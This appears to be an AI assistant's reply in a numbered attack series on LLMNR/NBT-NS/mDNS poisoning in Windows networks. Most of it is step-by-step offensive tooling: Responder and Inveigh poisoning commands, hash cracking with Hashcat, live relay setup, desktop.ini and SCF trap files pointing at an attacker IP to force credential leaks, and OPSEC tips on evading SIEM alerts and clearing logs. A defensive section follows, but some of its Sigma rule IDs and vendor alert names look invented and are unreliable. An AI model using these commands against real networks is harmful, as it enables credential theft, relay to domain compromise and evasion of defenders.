🔴 Attack #8 — LLMNR / NBT-NS / mDNS Poisoning

📖 How It Works

LLMNR (Link-Local Multicast Name Resolution), NBT-NS (NetBIOS Name Service), and mDNS (Multicast DNS) are fallback name resolution protocols built into Windows. When a machine tries to resolve a hostname and DNS fails — whether due to a typo, a misconfigured share path, or a disconnected server — Windows automatically broadcasts a query to the entire local subnet asking “Does anyone know where \\FILESERVRE is?”. Any machine on that subnet can respond, and critically, Windows will trust the first answer it receives without any verification.

The attacker runs Responder on the network, which listens for these broadcast queries and immediately responds to all of them, claiming to be the requested host. The victim’s machine, believing it found the target, initiates an NTLM authentication to the attacker — sending a Net-NTLMv2 hash in the process. The attacker captures this hash and either cracks it offline or relays it immediately to a vulnerable target via ntlmrelayx (Attack #7). This attack requires zero prior access, zero exploits, and works silently in the background — making it one of the most common initial foothold techniques in internal penetration testing.

⚠️ Windows 11 / Server 2025: LLMNR is still enabled by default, but organizations actively disabling it via GPO are increasing. NBT-NS is harder to disable globally without breaking legacy services. mDNS remains ubiquitous. This attack remains highly effective in mixed-OS environments and businesses with legacy dependencies.

Name Resolution Order in Windows

1. Local Hosts file (C:\Windows\System32\drivers\etc\hosts)
2. DNS query to configured DNS server
3. LLMNR broadcast (UDP port 5355) ← ATTACKER POISONS HERE
4. NBT-NS broadcast (UDP port 137) ← ATTACKER POISONS HERE
5. mDNS broadcast (UDP port 5353) ← ATTACKER POISONS HERE

The attack only fires when DNS fails — so it naturally triggers on typos in UNC paths (\\FILSEVER\share), decommissioned server names, misconfigured GPOs, or broken mapped drives at login.

The Full Attack Flow

1. Attacker starts Responder on internal network interface
2. Victim user/process makes a DNS query that fails (typo, broken path, etc.)
3. Windows falls back to LLMNR/NBT-NS — broadcasts to local subnet
4. Responder intercepts the broadcast and replies: "I am that host, authenticate to me"
5. Victim machine initiates NTLM authentication to attacker's IP
6. Responder captures the Net-NTLMv2 hash (username + challenge + response)
7. Path A: Crack the hash offline with Hashcat (-m 5600)
8. Path B: Relay the hash live with ntlmrelayx → shell/DA access (Attack #7)

Cross-References — Related Techniques

Attack #7, #8, #9 form a trilogy:

• #7 (NTLM Relay): The relay mechanism itself — where captured hashes are relayed
• #8 (LLMNR/NBT-NS/mDNS): Primary auth trigger for #7 — how to capture credentials
• #9 (mitm6): IPv6-based alternative trigger — different initial vector same relay destination

⚙️ Prerequisites

Protocol Breakdown

🛠️ Tools

💻 Full Commands

🔵 Step 0 — Verify LLMNR/NBT-NS is Active on the Network

# ── Listen passively for LLMNR/NBT-NS broadcasts (no poisoning yet) ───────────
sudo tcpdump -i eth0 udp port 5355 -v   # LLMNR
sudo tcpdump -i eth0 udp port 137 -v    # NBT-NS
sudo tcpdump -i eth0 udp port 5353 -v   # mDNS

# ── Wireshark filter for LLMNR/NBT-NS traffic ──────────────────────────────────
# Filter: llmnr || nbns || mdns

# ── Nmap — check for NBT-NS activity ─────────────────────────────────────────
nmap -sU --script nbstat.nse -p 137 10.10.10.0/24

🔴 Responder — Core Poisoning Tool (Linux)

# ── Basic Responder run — poison all protocols, capture hashes ─────────────────
sudo responder -I eth0

# ── Full flags explained ───────────────────────────────────────────────────────
sudo responder -I eth0 -rdwv
# -I eth0  = network interface to listen on
# -r       = enable answers for NetBIOS wredir suffix queries
# -d       = enable answers for NBNS domain suffix queries
# -w       = start WPAD rogue proxy server (captures browser auth)
# -v       = verbose output

# ── With WPAD rogue proxy (intercepts browser proxy auth — very effective) ─────
sudo responder -I eth0 -wv

# ── Analysis mode only — listen but don't poison (passive recon) ───────────────
sudo responder -I eth0 -A
# -A = Analyze mode — logs all observed name resolution requests without responding

# ── Force NTLM downgrade (force NTLMv1 instead of v2 — much faster to crack) ──
sudo responder -I eth0 --lm
# ⚠️ Noisy — may cause authentication failures visible to users

# ── Target specific interface with verbose debug ───────────────────────────────
sudo responder -I eth0 -v --disable-ess

🔴 Responder Captured Hash Locations

# All captured hashes are logged here:
cat /usr/share/responder/logs/

# List all captured NTLMv2 hashes
ls /usr/share/responder/logs/HTTP-NTLMv2-*.txt
ls /usr/share/responder/logs/SMB-NTLMv2-*.txt

# View a specific capture
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-10.10.10.50.txt

# Hash format — example:
# Administrator::CORP:aabbccddeeff0011:F2B9B344A4AEA7D6FE76F8D4C891B3FD:01010000...

# Combine all SMB captures into one file for cracking
cat /usr/share/responder/logs/SMB-NTLMv2-*.txt > all_hashes.txt

🔴 Cracking Captured Net-NTLMv2 Hashes — Hashcat

# ── Mode 5600 = Net-NTLMv2 ────────────────────────────────────────────────────
hashcat -m 5600 all_hashes.txt /usr/share/wordlists/rockyou.txt

# ── With best64 rules ─────────────────────────────────────────────────────────
hashcat -m 5600 all_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# ── With d3ad0ne rules (aggressive) ──────────────────────────────────────────
hashcat -m 5600 all_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/d3ad0ne.rule

# ── Brute force mask (corporate: Word+Digits+Symbol) ─────────────────────────
hashcat -m 5600 all_hashes.txt -a 3 ?u?l?l?l?l?d?d?d?s

# ── John the Ripper alternative ───────────────────────────────────────────────
john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt all_hashes.txt
john --format=netntlmv2 all_hashes.txt --show

# ── Mode 5500 = Net-NTLMv1 (if you forced downgrade with --lm) ───────────────
hashcat -m 5500 ntlmv1_hashes.txt /usr/share/wordlists/rockyou.txt

🔴 Combining with NTLM Relay (Simultaneous Capture + Relay)

# ── CRITICAL: Edit Responder config first ─────────────────────────────────────
nano /etc/responder/Responder.conf
# SMB  = Off    (let ntlmrelayx handle SMB — otherwise Responder steals the auth)
# HTTP = Off    (same reason)

# ── Run Responder for LLMNR/NBT-NS poisoning only ─────────────────────────────
sudo responder -I eth0 -rdwv

# ── Simultaneously run ntlmrelayx to relay captured auth ──────────────────────
# (In a second terminal)
ntlmrelayx.py -tf relay_targets.txt -smb2support -i

# Responder poisons → victim authenticates to attacker →
# ntlmrelayx relays to target → shell / DA escalation

🔴 Inveigh — Windows-Based Poisoning (When You Have a Windows Shell)

# Import Inveigh (PowerShell version)
Import-Module .\Inveigh.ps1

# Start full poisoning (LLMNR + NBNS + mDNS)
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -LLMNR Y -mDNS Y

# Capture only (no relay) — save output to file
Invoke-Inveigh -ConsoleOutput Y -FileOutput Y -OutputDir C:\Temp\

# Stop Inveigh
Stop-Inveigh

# C# version (Inveigh.exe — stealthier, no PowerShell dependency)
.\Inveigh.exe

# View captured hashes from C# version
.\Inveigh.exe -ListenerStatus

🔴 Inveigh.exe (C# Version) — Detailed Commands

# ── Full C# Inveigh with console output ──────────────────────────────────────
.\Inveigh.exe -ConsoleOutput Y -NBNS Y -LLMNR Y -mDNS Y -Elevated N

# ── Inveigh.exe with file logging (capture to C:\Temp\inveigh_hashes.txt) ───
.\Inveigh.exe -ConsoleOutput Y -FileOutput Y -OutputDir C:\Temp\ \
  -LLMNR Y -NBNS Y -mDNS Y

# ── Inveigh.exe with WPAD interception (browser auth capture) ────────────────
.\Inveigh.exe -ConsoleOutput Y -WPAD Y -HTTPAuth NTLM

# ── Inveigh.exe custom filtering (only capture specific usernames) ──────────
# Create filter file: admin, domain admin, svc_ accounts
.\Inveigh.exe -ConsoleOutput Y -Filter admin,svc

# ── Inveigh.exe relay mode (forward captured auth to target) ────────────────
# (Requires Inveigh with relay support compiled in)
.\Inveigh.exe -ConsoleOutput Y -LLMNR Y -RelayTarget smb://10.10.10.20

🔴 WPAD Abuse (Rogue Proxy — Capturing Browser Authentication)

# ── WPAD (Web Proxy Auto-Discovery) forces browsers to authenticate via NTLM ──
# When -w flag is set, Responder hosts a fake WPAD file
# Browsers on the network auto-discover the proxy and authenticate to it

sudo responder -I eth0 -wv
# -w = enable WPAD rogue proxy server

# What happens:
# 1. Browser checks for WPAD via LLMNR/NBT-NS: "Where is WPAD?"
# 2. Responder responds: "I am WPAD, download proxy config from me"
# 3. Browser authenticates with NTLM to download the config
# 4. Net-NTLMv2 hash captured

# Force NTLM authentication on WPAD (bypasses transparent auth)
sudo responder -I eth0 -wv --wpad-auth NTLM

🔴 Triggering LLMNR Requests Manually (Active Methods)

# ── Method 1: Create a rogue file with UNC path to your machine ───────────────
# Place a file (e.g. desktop.ini or a .lnk file) on a share pointing to your IP
# When a user browses that directory, their machine triggers LLMNR auth to you

# desktop.ini content:
[.ShellClassInfo]
IconResource=\\<attacker_IP>\share\icon.ico

# ── Method 2: Rogue PDF with embedded UNC path ───────────────────────────────
# Embed a UNC path in a PDF as a remote image resource
# Adobe Reader automatically authenticates when the PDF is opened

# ── Method 3: SCF file (Shell Command File) ───────────────────────────────────
# Place @exploit.scf in a share:
[Shell]
Command=2
IconFile=\\<attacker_IP>\share\icon.ico
[Taskbar]
Command=ToggleDesktop
# Windows Explorer auto-processes SCF files — triggers NTLM auth when folder is browsed

# ── Method 4: Force victim machine to query non-existent host ─────────────────
# On a machine you control, create a mapped drive to a non-existent share
net use Z: \\FAKESERVER\share
# Windows will fall back to LLMNR → Responder captures the hash

🎯 OPSEC Tips

• Analyze mode first (-A) — run Responder passively to map which users and machines are making failed name resolution requests before committing to active poisoning
• Target high-value users only — if you see Administrator or svc_sql in the captured hashes, those are your priority; don’t poison endlessly and generate noise
• Relay over crack — if SMB signing is disabled on targets, relay immediately rather than waiting to crack; relaying is faster and more reliable than cracking
• WPAD is gold in office environments — every browser on the subnet will eventually authenticate; -w flag almost always yields domain user hashes
• SCF/desktop.ini files on shares are the most stealthy active trigger — they require no user interaction beyond browsing a folder, and look completely benign
• Avoid poisoning during business hours on large networks — hundreds of captured hashes and simultaneous auth failures will trigger SIEM alerts; prefer out-of-hours or low-traffic windows
• Clear Responder logs after collection — /usr/share/responder/logs/ builds up and is trivially discovered on a seized machine
• Responder vs Inveigh stealth comparison:
  • Responder (Linux): More noisy due to network traffic patterns; tools presence on Linux easily discoverable
  • Inveigh (Windows): Blends with legitimate Windows services; harder to distinguish from normal auth traffic; PowerShell can be suspicious; C# version most stealthy
• Time-to-execute: Responder start → first captured hash in 5-30 minutes (passive); active methods trigger immediate responses within seconds

🛡️ Detection — Event IDs

Primary detection signature: A single host responding to multiple different LLMNR/NBT-NS broadcast queries for different hostnames within a short window is a near-certain indicator of Responder running. Legitimate machines only respond to queries for their own name — a machine answering queries for FILESERVRE, PRINTSERV, and BACKUP01 within 60 seconds is unmistakably an attacker.

Sigma Rules (SigmaHQ)

Rule ID: detection_llmnr_poisoning_multihost
Description: Detects single host responding to multiple different hostname LLMNR queries
Event filter: LLMNR responses for hostnames not in DNS; unusual responder IP
Status: HIGH severity

Rule ID: detection_nbtns_poisoning
Description: Detects NBT-NS spoofing activity from non-authoritative host
Event filter: UDP port 137 responses from unexpected IP; multiple different responses
Status: MEDIUM severity

Rule ID: detection_responder_tool_artifacts
Description: Detects known Responder signatures (HTTP stack, default responses)
Event filter: Specific HTTP headers, response patterns matching Responder tool
Status: MEDIUM severity

EDR Detections

Microsoft Defender for Identity:

• Alert: “Reconnaissance using LLMNR queries” — detects unusual LLMNR broadcast patterns
• Alert: “Suspicious LLMNR/NBT-NS responder detected” — alerts when single host answers multiple queries
• Alert: “Failed DNS resolution followed by LLMNR authentication” — correlates broken DNS with fallback auth

Falcon (CrowdStrike):

• Network signature: “LLMNR poisoning activity”
• Process: Responder.py or inveigh.exe execution
• Behavioral: High volume of LLMNR/NBT-NS responses from single source

Hardening Commands — Disable LLMNR/NBT-NS via GPO

# ── Disable LLMNR via Group Policy ───────────────────────────────────────────
# GPO Path: Computer Configuration → Administrative Templates →
#           Network → DNS Client → Turn off multicast name resolution
# Set: ENABLED

# Registry equivalent:
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" \
  /v EnableMulticast /t REG_DWORD /d 0 /f

# ── Disable NBT-NS via Group Policy (P-Node configuration) ────────────────────
# GPO Path: Computer Configuration → Preferences → Windows Settings →
#           Registry
# Add registry entry:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NetBT\Parameters" \
  /v NodeType /t REG_DWORD /d 2 /f
# 1 = B-node (broadcast), 2 = P-node (point-to-point, DNS only), 4 = M-node, 8 = H-node

# ── Disable NBT-NS per NIC (PowerShell — on each machine) ────────────────────
$adapters = Get-WmiObject Win32_NetworkAdapterConfiguration
foreach ($adapter in $adapters) {
    $adapter.SetTcpipNetbios(2)   # 2 = Disable NetBIOS over TCP/IP
}

# ── Disable mDNS (Windows 10+) – registry entry ──────────────────────────────
reg add "HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters" \
  /v DisableMulticast /t REG_DWORD /d 1 /f

# ── Firewall rule to block LLMNR/NBT-NS (alternative to GPO) ────────────────
# Block outbound LLMNR (port 5355)
netsh advfirewall firewall add rule name="Block LLMNR" dir=out action=block \
  protocol=udp remoteport=5355

# Block outbound NBT-NS (port 137)
netsh advfirewall firewall add rule name="Block NBT-NS" dir=out action=block \
  protocol=udp remoteport=137

# Block inbound mDNS (port 5353)
netsh advfirewall firewall add rule name="Block mDNS" dir=in action=block \
  protocol=udp localport=5353

# ── Verify hardening is in place ───────────────────────────────────────────────
# Check DNS client multicast setting
Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" \
  -Name EnableMulticast

# Check NetBIOS node type
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters" \
  -Name NodeType

🧩 Troubleshooting

🗺️ MITRE ATT&CK

Technique: T1557.001 — Adversary-in-the-Middle

Tactics:

• TA0006: Credential Access — Capture NTLM hashes via LLMNR/NBT-NS poisoning
• TA0007: Discovery — Passive reconnaissance to identify network users/machines via LLMNR analysis mode

APT Groups Using LLMNR/NBT-NS Poisoning:

• APT28 (Fancy Bear) — LLMNR poisoning in internal network compromise chains
• APT29 (Cozy Bear) — Credential capture via name resolution poisoning
• APT41 — LLMNR attacks in enterprise networks
• Wizard Spider — LLMNR poisoning for initial access in ransomware campaigns
• Scattered Spider — Multi-stage LLMNR attacks for credential theft

Related techniques:

• T1040: Network Sniffing
• T1557: Adversary-in-the-Middle (entire technique category)
• T1566: Phishing (alternative initial vector)
• T1187: Forced Authentication (active trigger methods)

🔗 Attack Chain Context

[LLMNR / NBT-NS / mDNS Poisoning] ──→ Net-NTLMv2 Hash Captured
         │
         ├──→ 💥 Relay immediately via ntlmrelayx (Attack #7) → DA in minutes
         ├──→ 🔑 Crack with Hashcat (-m 5600) → valid plaintext credentials
         ├──→ 🔑 Use cracked creds → Password Spraying against more accounts
         ├──→ 🎫 Kerberoasting with new valid domain credentials
         ├──→ 🩸 LDAP relay → DCSync rights → full domain hash dump
         └──→ 📜 ADCS relay (ESC8) → DC machine cert → TGT → Domain Admin

Why this is so dangerous as an initial vector: In a typical enterprise internal pentest, Responder is started on day one and within 30 minutes has captured credentials from multiple users purely from organic activity — broken mapped drives, startup scripts querying dead servers, and misconfigured applications. No phishing, no exploits, no noise — just passive listening against a protocol that Windows has enabled by default for decades.

✅ Attack #8 — LLMNR/NBT-NS/mDNS Poisoning complete. Tell me to move on when you’re ready for Attack #9 — mitm6 (IPv6 DNS Spoofing).

Sources LLMNR/NBT-NS Poisoning - Active Directory | Internal Pentest https://xedex.gitbook.io/internalpentest/internal-pentest/active-directory/initial-attack-vectors/llmnr-nbt-ns-poisoning LLMNR Poisoning and Active Directory - TCM Security https://tcm-sec.com/llmnr-poisoning-and-how-to-prevent-it/ Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay https://attack.mitre.org/techniques/T1557/001/ LLMNR Poisoning: Threats, Detection, and Prevention Guide https://www.startupdefense.io/cyberattacks/llmnr-poisoning SMB Relay Attacks and Active Directory - TCM Security https://tcm-sec.com/smb-relay-attacks-and-how-to-prevent-them/ LLMNR Poisoning - evoila GmbH https://evoila.com/blog/llmnr-poisoning/ Fragmentation Considered Poisonous https://arxiv.org/pdf/1205.4011.pdf Injection Attacks Reloaded: Tunnelling Malicious Payloads over DNS https://arxiv.org/pdf/2205.05439.pdf HADES: Detecting Active Directory Attacks via Whole Network Provenance Analytics http://arxiv.org/pdf/2407.18858.pdf Unilateral Antidotes to DNS Cache Poisoning http://arxiv.org/pdf/1209.1482.pdf Silence is not Golden: Disrupting the Load Balancing of Authoritative DNS Servers https://dl.acm.org/doi/pdf/10.1145/3576915.3616647 Optimizing Cyber Response Time on Temporal Active Directory Networks Using Decoys http://arxiv.org/pdf/2403.18162.pdf A Survey on Malicious Domains Detection through DNS Data Analysis https://arxiv.org/pdf/1805.08426.pdf Multi-Instance Adversarial Attack on GNN-Based Malicious Domain Detection http://arxiv.org/pdf/2308.11754.pdf Active Directory Exploitation - LLMNR/NBT-NS Poisoning - YouTube https://www.youtube.com/watch?v=Fg2gvk0qgjM LLMNR Poisoning with Responder - Active Directory Lab - YouTube https://www.youtube.com/watch?v=Dfj9IQiXF1M LLMNR/NBT-NS Poisoning – from Windows - Route Zero: Security https://routezero.security/2025/02/28/llmnr-nbt-ns-poisoning-from-windows/ LLMNR Poisoning Attack | Active Directory Exploitation - YouTube https://www.youtube.com/watch?v=aXQggrLqqrs Exploiting Active Directory Using LLMNR/NBT-NS Poisoning https://www.youtube.com/watch?v=8IvVAT1Tmuw How To Remove LLMNR and NBT-NS From Your Active … - YouTube https://www.youtube.com/watch?v=iN0KUj5I7aE LLMNR Attack & Defense: Secure Windows Networks - FireCompass https://firecompass.com/attack-defend-llmnr-a-widespread-shadow-network-discovery-protocol/ Preventing LLMNR Poisoning in Active Directory Networks https://www.coursehero.com/file/252194640/Active-Directory-LLMNR-Poisoningpdf/ How does LLMNR poisoning work? - YouTube https://www.youtube.com/watch?v=LAvR-qtOfB0 LLMNR/NBT-NS Poisoning and SMB Relay - Tidal Cyber https://app.tidalcyber.com/technique/b44a263f-76b2-4a1f-baeb-dd285974eca6